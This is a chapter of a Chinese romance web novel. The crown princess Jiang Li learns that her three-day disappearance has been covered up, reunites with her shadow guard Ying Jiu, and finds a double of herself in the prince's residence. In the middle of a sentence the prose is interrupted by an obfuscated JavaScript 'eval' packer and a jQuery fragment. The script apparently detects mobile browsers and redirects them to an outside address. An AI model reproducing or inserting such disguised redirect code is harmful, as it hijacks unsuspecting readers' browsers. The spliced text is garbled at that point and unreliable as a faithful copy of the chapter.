46. 失踪消息
作品:《太子妃的美强惨暗卫》 “是什么意思你想不到?”大长公主诧异地看向太子妃,当真没想到挺聪明一个女娃竟有这么天真的时候:“作为皇家儿媳,在外头失踪三天,你觉得太子和皇后还能毫无芥蒂的接受你?”
姜黎:“……”
她脑子里嗡的一下,顿感脊背发凉。
是啊,都忘了这里是在视名声为性命都古代了,这样的情况,太子府当真会有人接她回去么?
姜黎心头突突直跳,假若是曾经她以为的那位“太子”,她兴许还能斩钉截的都说会,可如今……她却已知晓了那位“完美夫君”只不过是影玖假扮的罢了,影玖……她突然好想去见影玖。
“我……我与太子殿下伉俪情深,他是不会不管我的!”饶是心底万分慌乱,此刻姜黎也依旧强装镇定,努力撑出一副自信满满的样子。
对面的大长公主不知是信了还是没信,只嘲讽地勾出一个冷笑:“伉俪情深?想起我那个人人艳羡的‘好女婿’,当年跪下来求娶我的掌上明珠,装得那叫一个深情款款,结果不一样是成婚三年后纳妾生子?我那蠢女儿还当真深信不疑……”那一双带着细纹的眸子里,闪过憎恶与愠怒,抬眼间却仿佛是在透过姜黎看向其他人:“我看你家那位太子殿下,与我家的‘好女婿’可是不遑多让,别不信,我看人可是很准的。”
姜黎被对方越说越心慌,不管信与不信,如今的她又能有什么选择呢?她突然想起了什么般,试探性地问道:“那……三皇子妃呢?她也被救了么?”
姜黎想起三皇子妃好歹是入门数年,生有一子,三皇子应当不会不管她吧?
这位天真的太子妃竟试图从三皇子妃的境遇来给自己增添信心,大长公主只觉得可悲,却也生出了些许怜悯,无奈摇着头道:“她比你幸运,当天就被我找到了,不过她醒来后却不是让我送她回三皇子府,而是求我送她回自己娘家,你猜这是为何呢?”
姜黎:“……”
大长公主点到为止,姜黎却是愣在原地,有些事情,不言而喻,心知肚明。
彼时,姜黎揣摩不出那位三皇子妃在想什么,却隐隐感到自己此刻的境地,似乎比对方还要糟糕。
“那我能不能……”姜黎深吸一口气,犹豫着也想学三皇子妃先躲回自己娘家试试。
怎知,大长公主则蓦地打断她:“晚了,跟三皇子妃比起来,你可是连娘家也回不去的。”
“为什么?”
“因为在第一天晚上,太子就宣称你已然归府,只不过在府内养病闭门不出,还特意派人去姜府知会了一声呢。”
“什……什么?”姜黎不可置信地瞪大双眼:“可是……我明明……”质问的话语滞在嘴边,最终却是颤抖着吞咽了回去。
为什么?这能有什么为什么的呢?
倘若她这个太子妃当真死在了外面,那对外宣称归府后“病死”了,总比被劫匪掳走曝尸荒野更来得体面不是么?
所以,太子究竟有没有来找自己,又究竟想不想自己回去呢?
姜黎越想越觉得后怕,浑身如坠冰窟,只僵硬着笑容道:“我……我想先去见见我的那位护卫,想去看看他的伤势,不知道大长公主是否应允?”
她此刻无比想要见到影玖那张脸,仿佛只要看到他,就什么都不会怕了,尤似雏鸟寻找巢穴,出自本能的想要汲取安全感。
大长公主见到她这么一副要被吓哭的模样,便也没再为难她,挥了挥手道:“去吧,好好商量一下该怎么整,我可不想自己救下来了一个麻烦。”
“谢……谢谢大长公主。”
姜黎就这样浑浑噩噩地在下人的领路下来到了一处偏房内。
只见影玖依旧光着膀子趴在榻上,一名老医师正在给他的腰背进行针灸。
房间里正弥漫着一股浓烈的药味,究其源头,竟是影玖的脸上涂了一层黑色的药膏,一眼看上去就像是在敷面膜似的,若是平日里的姜黎,铁定会“噗哧”一下笑出声来,只可惜此时此刻的她却俨然没有这样的心情。
“怎么了?”影玖敏锐地洞察到了太子妃低落谷底的心情,抬起头想要去看她,却被身后的医师一声斥责。
“别动!若是老朽手抖了可就不管你了。”这位老医师对被指派来给一个护卫看伤很是不满,但碍于大长公主的命令不得不为之,所以态度很不友好。
影玖对这样的呵斥司空见惯,也不多言,只重新趴好,眼神却不忘直盯着太子妃。
姜黎则颓丧地摇了摇头,碍于外人在场不敢多说,目光落在他被涂得黑黝黝的脸上,嘟囔着问:“你的脸……怎么了?”
不待影玖解释,那老医师便抢先一步头头是道着答:“面浮红斑,焮热瘙痒,此乃风热夹湿,或夜卧沾染秽气,或食发物所致。”
姜黎这下稀奇了起来,回想着上午时也没见他有这个问题啊,脸不是好好的么?
她仿若猜到了些什么,凑近到影玖耳边小声问道:“你自己弄的?”
影玖微显尴尬,咬牙点点头,为了不让她过多担心,便也用极小的声音解释道:“不必担心,明日便会消肿的。”
原来是为了避免暴露真容,他便把商陆根/茎的汁液涂在了脸上。
好吧,姜黎这下了然,不由感叹影玖这位顶尖暗卫的素养,随时不忘身为暗卫不能“露脸”的准则啊。
若是有他在,兴许……兴许一切都能迎刃而解呢?
姜黎又再次被自己宽慰到了,于是就老老实实的呆坐在一旁,等着医师给影玖针灸推拿完,等到屋子里的闲杂人等都下去之后,她才忍不住锁好房门,坐到影玖面前。
“发生什么事了?”影玖察觉出了她的急切,难掩面露担忧。
姜黎回想起大长公主的那番话语仍旧觉得心有余悸,便也未曾隐瞒,一股脑儿的就给他说了出来,这一下,就换成影玖严肃着一张脸沉默不语了起来。
“你说……我们……我们还能回得去么?”姜黎战战兢兢地询问,手脚都忍不住颤抖起来。
影玖顷刻明白了她的顾虑,眼见她这般惴惴不安的模样,心头也似是针扎般的难受,本能的想要抓住她微凉的小手将其捂热,却在几乎要触碰到的刹那又收回了手。
“不用怕,我们自然可以回去。”他回答得斩钉截铁,却不是安慰,而是肯定。
“可是太子他……”姜黎有些难以启齿,很不愿意说出自己心底最害怕的地方。
这个时代的女人,是生是死皆掌握在自己夫君的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333606|194962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,哪怕贵为太子妃亦是如此。
影玖也猜出了她的意思,率先一步打断道:“太子殿下绝不会抛弃您。”
这句话脱口而出,连他自己都微愣了一下,似乎也有一瞬的恍然,分不清自己此刻是以“太子”的身份还是“暗卫”的身份在说话,霎时五味杂陈,却也依旧在拼命的梳理着自己的逻辑。
无论是为了联姻,还是见色起意,至少现下的太子对太子妃的兴趣犹在,不会轻易割舍。
影玖只能用这样一个让他不舒坦地理由劝说着自己,而后继续咬牙补充着接下来的安排:“大夫说今日针灸完疏通血络后,明日我的身体就能动了,这样,等明日我先回府内禀明情况,之后再由太子接您回来,放心,一切交给我,好么?”
他已在脑子里演练了多种说辞,确保事无巨细,万无一失,根据多年来对太子脾性的了解,影玖有信心可以劝说他重新接纳太子妃,一切还不至于到最糟糕的地步。
而姜黎一听到对方又要离开,本能的显出一丝慌乱,揪紧衣裙的下摆,忐忑地看向他:“那万一……万一太子不愿意再接纳我,你还会回来么?”
影玖没想到她会问出这样一个问题,也有些诧异,以为太子妃是不安所致,连忙不假思索地答道:“会,无论生死我都会回来。”
一听到生生死死,姜黎便觉心惊肉跳,眼眶不由红了起来:“那……那你一定要回来。”
“好,等我。”
然则,影玖不知道的是,她其实想问的是——倘若我不是太子妃了,你还会回到我身边么?
可姜黎终究是没能问出口,是不敢问,也没有立场问……
等到翌日,影玖如约独自离开了,姜黎则心不在焉的在屋子里用完了膳,由于此刻不知要以什么身份露脸,所以她一整天都没敢出屋子。
倒是大长公主又过来“威胁”了一通,说是什么假如太子府不愿意来接她回去的话,就把她送到尼姑庵去,可别指望大长公主府能养她一辈子,姜黎只能默默点头,她如今倒也摸清了这位长辈的脾性,嘴巴是真的毒,但心倒也的确不坏。
而等到太阳落山前,太子府总算是来了人接应,用的却并非是太子妃形制的马车,还特意叮嘱让太子妃戴上幂篱走后门,姜黎也没多说什么,讲不清自己此刻是悲是喜,只木讷地跟着前来的嬷嬷换好衣服和装扮后,就被牵着走出了皇寺。
马车轱辘声单调作响,她脑子里乱糟糟的,一会儿是影玖说‘等我’时坚定的眼神,一会儿是大长公主讥诮的嘴角。
唯一清晰的念头是:见到他就好了。
只要他在,这冰冷的府邸好像也没那么可怕了……
只可惜,回到太子府后已是黄昏时分,迎接她的却并非是影玖,引路的也不是熟悉的丫鬟嬷嬷,姜黎只沉默着戴着幂篱从侧门进入。
等一路来到自己的寝室前,见里头似乎也有个戴着幂篱的女子被人从屋子里搀扶出来。
微风一吹,在夕阳的照射下,姜黎隐约瞧清楚了那张面容,不由身形微颤,遍体生寒。
那是一张与自己一模一样的脸……
原来这些日子,之所以她失踪的消息能被压下,竟是因为……太子府里已有了一个她的替身?

